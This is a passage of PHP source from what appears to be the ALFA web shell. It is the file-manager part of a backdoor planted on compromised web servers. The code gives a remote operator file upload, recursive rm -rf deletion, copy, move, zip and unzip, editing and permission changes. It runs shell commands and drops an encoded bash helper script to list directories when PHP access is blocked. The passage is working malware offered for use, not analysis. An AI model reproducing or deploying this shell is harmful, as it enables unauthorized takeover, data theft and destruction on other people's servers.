value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
  2558. }
  2559. function alfaFilesMan2(){
  2560. alfahead();
  2561. AlfaNum(8,9,10,7,6,5,4);
  2562. echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
  2563. alfaFooter();
  2564. }
  2565. function copy_paste($c,$s,$d){
  2566. if(@is_dir($c.$s)){
  2567. @mkdir($d.$s);
  2568. $h = @opendir($c.$s);
  2569. while (($f = @readdir($h)) !== false)
  2570. if (($f != ".") and ($f != ".."))
  2571. copy_paste($c.$s.'/',$f, $d.$s.'/');
  2572. } elseif(is_file($c.$s))
  2573. @copy($c.$s, $d.$s);
  2574. }
  2575. function alfaFilesMan(){
  2576. if(!empty ($_COOKIE['alfa_f']))
  2577. $_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
  2578. if(!empty($_POST['alfa1'])){
  2579. switch($_POST['alfa1']){
  2580. case 'uploadFile':
  2581. $move_cmd_file = false;
  2582. $alfa_canruncmd = false;
  2583. if($GLOBALS['glob_chdir_false']){
  2584. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  2585. $move_cmd_file = true;
  2586. }
  2587. if(_alfa_is_writable($GLOBALS['cwd'])){
  2588. $files = reArrayFiles($_FILES['f']);
  2589. $ret_files = array();
  2590. foreach($files as $file){
  2591. if($move_cmd_file&&$alfa_canruncmd){
  2592. alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
  2593. }else{
  2594. if(@move_uploaded_file($file['tmp_name'],$file['name'])){
  2595. $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
  2596. $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
  2597. $file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
  2598. $file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
  2599. $file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
  2600. $file_perm = alfaPermsColor($file['name']);
  2601. $file_size = @filesize($file['name']);
  2602. $ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
  2603. }
  2604. }
  2605. }
  2606. if(!$move_cmd_file){
  2607. echo json_encode($ret_files);
  2608. }
  2609. }else{
  2610. echo "noperm";
  2611. return;
  2612. }
  2613. if(!$move_cmd_file){
  2614. return;
  2615. }
  2616. break;
  2617. case 'mkdir':
  2618. $new_dir_cmd = false;
  2619. if($GLOBALS['glob_chdir_false']){
  2620. if(_alfa_can_runCommand(true,true)){
  2621. if(_alfa_is_writable($GLOBALS['cwd'])){
  2622. if(!_alfa_is_dir(trim($_POST['alfa2']))){
  2623. alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
  2624. echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
  2625. }else{
  2626. echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
  2627. }
  2628. }else{
  2629. echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
  2630. }
  2631. }else{
  2632. echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
  2633. }
  2634. }else{
  2635. if(_alfa_is_writable($GLOBALS['cwd'])){
  2636. if(!_alfa_is_dir(trim($_POST['alfa2']))){
  2637. if(!@mkdir(trim($_POST['alfa2']))){
  2638. echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
  2639. }else{
  2640. echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
  2641. }
  2642. }else{
  2643. echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
  2644. }
  2645. }else{
  2646. echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
  2647. }
  2648. }
  2649. break;
  2650. case 'delete':
  2651. function deleteDir($path){
  2652. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  2653. $dh = @opendir($path);
  2654. while(($item = @readdir($dh)) !== false){
  2655. $item = $path.$item;
  2656. if((basename($item) == "..") || (basename($item) == "."))
  2657. continue;
  2658. $type = @filetype($item);
  2659. if ($type == "dir")
  2660. deleteDir($item);
  2661. else
  2662. @unlink($item);
  2663. }
  2664. @closedir($dh);
  2665. @rmdir($path);
  2666. }
  2667. if(is_array(@$_POST['f']))
  2668. foreach($_POST['f'] as $f){
  2669. if($f == '..')
  2670. continue;
  2671. $f = rawurldecode($f);
  2672. if($GLOBALS["glob_chdir_false"]){
  2673. if(_alfa_can_runCommand(true,true)){
  2674. alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
  2675. }
  2676. }else{
  2677. alfaEx("rm -rf '".addslashes($f)."'",false,false);
  2678. if(@is_dir($f))
  2679. deleteDir($f);
  2680. else
  2681. @unlink($f);
  2682. }
  2683. }
  2684. if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
  2685. deleteDir(rawurldecode(@$_POST['alfa2']));
  2686. alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
  2687. }else{
  2688. @unlink(rawurldecode(@$_POST['alfa2']));
  2689. }
  2690. if($GLOBALS["glob_chdir_false"]){
  2691. $source = rawurldecode(@$_POST['alfa2']);
  2692. if($source!='..'&&!empty($source)){
  2693. if(_alfa_can_runCommand(true,true)){
  2694. alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
  2695. }
  2696. }
  2697. }
  2698. if(is_array($_POST['f']))
  2699. return;
  2700. break;
  2701. case 'paste':
  2702. if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
  2703. foreach($_COOKIE['alfa_f'] as $f)
  2704. copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
  2705. }elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
  2706. function move_paste($c,$s,$d){
  2707. if(@is_dir($c.$s)){
  2708. @mkdir($d.$s);
  2709. $h = @opendir($c.$s);
  2710. while (($f = @readdir($h)) !== false)
  2711. if(($f != ".") and ($f != ".."))
  2712. copy_paste($c.$s.'/',$f, $d.$s.'/');
  2713. }elseif(@is_file($c.$s))
  2714. @copy($c.$s, $d.$s);
  2715. }
  2716. foreach($_COOKIE['alfa_f'] as $f)
  2717. @rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
  2718. }elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
  2719. if(class_exists('ZipArchive')){
  2720. $zip = new ZipArchive();
  2721. $zipX = "alfa_".rand(1,1000).".zip";
  2722. if($zip->open($zipX, 1)){
  2723. @chdir($_COOKIE['alfa_c']);
  2724. foreach($_COOKIE['alfa_f'] as $f){
  2725. if($f == '..')continue;
  2726. if(@is_file($_COOKIE['alfa_c'].$f))
  2727. $zip->addFile($_COOKIE['alfa_c'].$f, $f);
  2728. elseif(@is_dir($_COOKIE['alfa_c'].$f)){
  2729. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
  2730. foreach($iterator as $key=>$value){
  2731. $key = str_replace('\\','/',realpath($key));
  2732. if(@is_dir($key)){
  2733. if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue;
  2734. }else{$zip->addFile($key,$key);}}}}
  2735. @chdir($GLOBALS['cwd']);
  2736. $zip->close();
  2737. __alert('>> '.$zipX.' << is created...');}}
  2738. }elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
  2739. if(class_exists('ZipArchive')){
  2740. $zip = new ZipArchive();
  2741. foreach($_COOKIE['alfa_f'] as $f) {
  2742. if($zip->open($_COOKIE['alfa_c'].$f)){
  2743. $zip->extractTo($_COOKIE['alfa_cwd']);
  2744. $zip->close();}}}}
  2745. unset($_COOKIE['alfa_f']);
  2746. break;
  2747. default:
  2748. if(!empty($_POST['alfa1'])){
  2749. if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
  2750. __alfa_set_cookie('alfa_act', @$_POST['alfa1']);
  2751. __alfa_set_cookie('alfa_f', @serialize($_POST['f']));
  2752. __alfa_set_cookie('alfa_c', @$_POST['c']);
  2753. return;
  2754. }
  2755. }
  2756. break;
  2757. }
  2758. }
  2759. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  2760. if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
  2761. $path = explode('/', $res[1]);
  2762. array_pop($path);
  2763. $_POST['c'] = implode('/', $path);
  2764. }
  2765. $cmd_dir = false;
  2766. if($dirContent === false){
  2767. if(_alfa_can_runCommand(true,true)){
  2768. $tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
  2769. @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
  2770. if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
  2771. $bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
  2772. $tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
  2773. __alfa_set_cookie("alfachdir_bash", "true");
  2774. __alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
  2775. }
  2776. $dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
  2777. $dirContent = json_decode($dirContent, true);
  2778. if(is_array($dirContent)){
  2779. array_pop($dirContent);
  2780. $cmd_dir = true;
  2781. }else{
  2782. $dirContent = false;
  2783. }
  2784. }
  2785. }
  2786. alfahead();
  2787. AlfaNum(8,9,10,7,6,5,4);
  2788. $count_dirContent = @count($dirContent);
  2789. if($count_dirContent > 300){
  2790. @$_COOKIE["alfa_limited_files"] = 100;
  2791. }
  2792. $alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
  2793. $alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
  2794. $alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
  2795. $alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
  2796. $files_page_count = 1;
  2797. if($alfa_limited_files > 0){
  2798. $files_page_count = ceil($count_dirContent/$alfa_limited_files);
  2799. if($files_page_count > 1){
  2800. $files_page_count++;
  2801. }
  2802. }
  2803. echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
  2804. if($dirContent == false){
  2805. echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
  2806. alfaFooter();
  2807. return;
  2808. }
  2809. global $sort;
  2810. $sort = array('name', 1);
  2811. if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
  2812. $sort[0] = $_COOKIE["alfa_sort_by"];
  2813. }
  2814. if(!empty($_POST['alfa1'])) {
  2815. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
  2816. $sort = array($match[1], (int)$match[2]);
  2817. }
  2818. if($alfa_files_page_number > ($files_page_count-1)){
  2819. $alfa_files_page_number = 1;
  2820. }
  2821. $checkbox_rand = rand(11111, 99999);
  2822. echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
  2823. $dirs = $files = array();
  2824. $n = $count_dirContent;
  2825. if($n > $alfa_limited_files && $alfa_limited_files > 0){
  2826. $n = ($alfa_limited_files * $alfa_files_page_number);
  2827. if($n > $count_dirContent){
  2828. $n = $count_dirContent;
  2829. }
  2830. }
  2831. $i = 0;
  2832. if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
  2833. $i = $alfa_limited_files * ($alfa_files_page_number - 1);
  2834. }
  2835. $page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
  2836. $cmd_dir_backp = "";
  2837. for(;$i<$n;$i++){
  2838. if($cmd_dir){
  2839. $filename = $dirContent[$i]["name"];
  2840. $file_owner = $dirContent[$i]["owner"];
  2841. $file_group = $dirContent[$i]["group"];
  2842. $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
  2843. $file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
  2844. $file_size = $dirContent[$i]["size"];
  2845. if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
  2846. $file_path = $dirContent[$i]["name"];
  2847. $dirContent[$i]["name"] = "..";
  2848. $filename = $dirContent[$i]["name"];
  2849. }else{
  2850. $file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
  2851. }
  2852. }else{
  2853. $filename = $dirContent[$i];
  2854. $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
  2855. $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
  2856. $file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
  2857. $file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
  2858. $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
  2859. $file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
  2860. $file_size = @filesize($GLOBALS['cwd'].$filename);
  2861. $file_path = $GLOBALS['cwd'].$filename;
  2862. }
  2863. $tmp = array('name' => $filename,
  2864. 'path' => $file_path,
  2865. 'modify' => $file_modify,
  2866. 'perms' => $file_perm,
  2867. 'size' => $file_size,
  2868. 'owner' => $file_owner,
  2869. 'group' => $file_group
  2870. );
  2871. if($filename == ".." && !$cmd_dir){
  2872. $tmp["path"] = str_replace("\\", "/", realpath($file_path));
  2873. }
  2874. if(!$cmd_dir){
  2875. if(@is_file($file_path)){
  2876. $arr_mrg = array('type' => 'file');
  2877. if(@is_link($file_path)){
  2878. $arr_mrg["link"] = readlink($tmp['path']);
  2879. }
  2880. $files[] = array_merge($tmp, $arr_mrg);
  2881. }elseif(@is_link($file_path)){
  2882. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  2883. }elseif(@is_dir($file_path)&& ($filename != ".")){
  2884. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  2885. }
  2886. }else{
  2887. if($dirContent[$i]["type"]=="file"){
  2888. $files[] = array_merge($tmp, array('type' => 'file'));
  2889. }else{
  2890. if($dirContent[$i]["name"] != "."){
  2891. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  2892. }
  2893. }
  2894. }
  2895. }
  2896. $GLOBALS['sort'] = $sort;
  2897. function alfaCmp($a, $b) {
  2898. if($GLOBALS['sort'][0] != 'size')
  2899. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  2900. else
  2901. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  2902. }
  2903. usort($files, "alfaCmp");
  2904. usort($dirs, "alfaCmp");
  2905. if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
  2906. if($_COOKIE["alfa_filesman_direction"] == 'desc'){
  2907. $files = array_reverse($files);
  2908. $dirs = array_reverse($dirs);
  2909. }
  2910. }
  2911. $files = array_merge($dirs, $files);
  2912. $l=0;
  2913. $cc=0;
  2914. foreach($files as $f){
  2915. $f['name'] = htmlspecialchars($f['name']);
  2916. $newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
  2917. $checkbox = 'checkbox_'.$checkbox_rand.$cc;
  2918. $raw_name = rawurlencode($f['name']);
  2919. $icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
  2920. $style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
  2921. echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
  2922. $f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
  2923. $l = $l?0:1;
  2924. $cc++;
  2925. }
  2926. echo "<tr id='filemanager_last_tr'><td colspan=7>
  2927. <input type=hidden name=a value='FilesMan'>
  2928. <input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
  2929. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  2930. <select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste / Zip / Unzip </option></select>
  2931. <input type='submit' value=' '>
  2932. </form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
  2933. alfafooter();
  2934. }
  2935. function get_pagination_links($current_page, $total_pages){
  2936. $links = "";
  2937. if ($total_pages >= 1 && $current_page <= $total_pages) {
  2938. $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
  2939. $selected_page = "";
  2940. if($current_page == 1){
  2941. $selected_page = " active-page-number";
  2942. }
  2943. $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
  2944. $i = max(2, $current_page - 5);
  2945. if ($i > 2)
  2946. $links .= "<a class=\"page-number\">...</a>";
  2947. for (; $i < min($current_page + 6, $total_pages); $i++) {
  2948. if($i == $current_page){
  2949. $selected_page = " active-page-number";
  2950. }else{
  2951. $selected_page = "";
  2952. }
  2953. $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
  2954. }
  2955. if ($i != $total_pages)
  2956. $links .= "<a class=\"page-number\">...</a>";
  2957. $selected_page = " last-page-number";
  2958. if($current_page == $total_pages){
  2959. $selected_page .= " active-page-number";
  2960. }
  2961. $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
  2962. $links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
  2963. }
  2964. return $links;
  2965. }
  2966. function alfaFilesTools(){
  2967. alfahead();
  2968. echo '<div class="filestools" style="height: 100%;">';
  2969. if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
  2970. $alfa1_decoded = $_POST['alfa1'];
  2971. $chdir_fals = false;
  2972. if(!@chdir($_POST['c'])){
  2973. $chdir_fals = true;
  2974. $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
  2975. $alfa_canruncmd = _alfa_can_runCommand(true,true);
  2976. if($alfa_canruncmd){
  2977. $slashed_alfa1 = addslashes($_POST['alfa1']);
  2978. $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
  2979. $perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
  2980. }
  2981. }
  2982. if($_POST['alfa2'] == 'auto'){
  2983. if(is_array(@getimagesize($_POST['alfa1']))){
  2984. $_POST['alfa2'] = 'image';
  2985. }else{
  2986. $_POST['alfa2'] = 'view';
  2987. if($chdir_fals){
  2988. if($alfa_canruncmd){
  2989. $mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
  2990. $mimetype = $mime[1];
  2991. if(!empty($mimetype)){
  2992. if(strstr($mimetype, "image")){
  2993. $_POST['alfa2'] = 'image';
  2994. }
  2995. }
  2996. }
  2997. }
  2998. }
  2999. }
  3000. if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
  3001. if(@$_POST['alfa2'] == 'mkfile'){
  3002. $_POST['alfa1'] = trim($_POST['alfa1']);
  3003. if($chdir_fals&&$alfa_canruncmd){
  3004. if(_alfa_is_writable($_POST["c"])){
  3005. alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
  3006. $_POST['alfa2'] = "edit";
  3007. }
  3008. }
  3009. if(!@file_exists($_POST['alfa1'])){
  3010. $fp = @fopen($_POST['alfa1'], 'w');
  3011. if($fp){
  3012. $_POST['alfa2'] = "edit";
  3013. fclose($fp);
  3014. }
  3015. }else{
  3016. $_POST['alfa2'] = "edit";
  3017. }
  3018. }
  3019. if(!_alfa_file_exists(@$_POST['alfa1'])){
  3020. echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
  3021. alfaFooter();
  3022. return;
  3023. }
  3024. if($chdir_fals){
  3025. $filesize = $file_info[3];
  3026. $uid["name"] = $file_info[1];
  3027. $gid["name"] = $file_info[2];
  3028. $permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
  3029. }else{
  3030. $uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
  3031. $gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
  3032. if(!$uid&&!$gid){
  3033. $uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
  3034. $gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
  3035. }
  3036. $permcolor = alfaPermsColor($_POST['alfa1']);
  3037. $filesize = @filesize($_POST['alfa1']);
  3038. if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
  3039. if(_alfa_can_runCommand()){
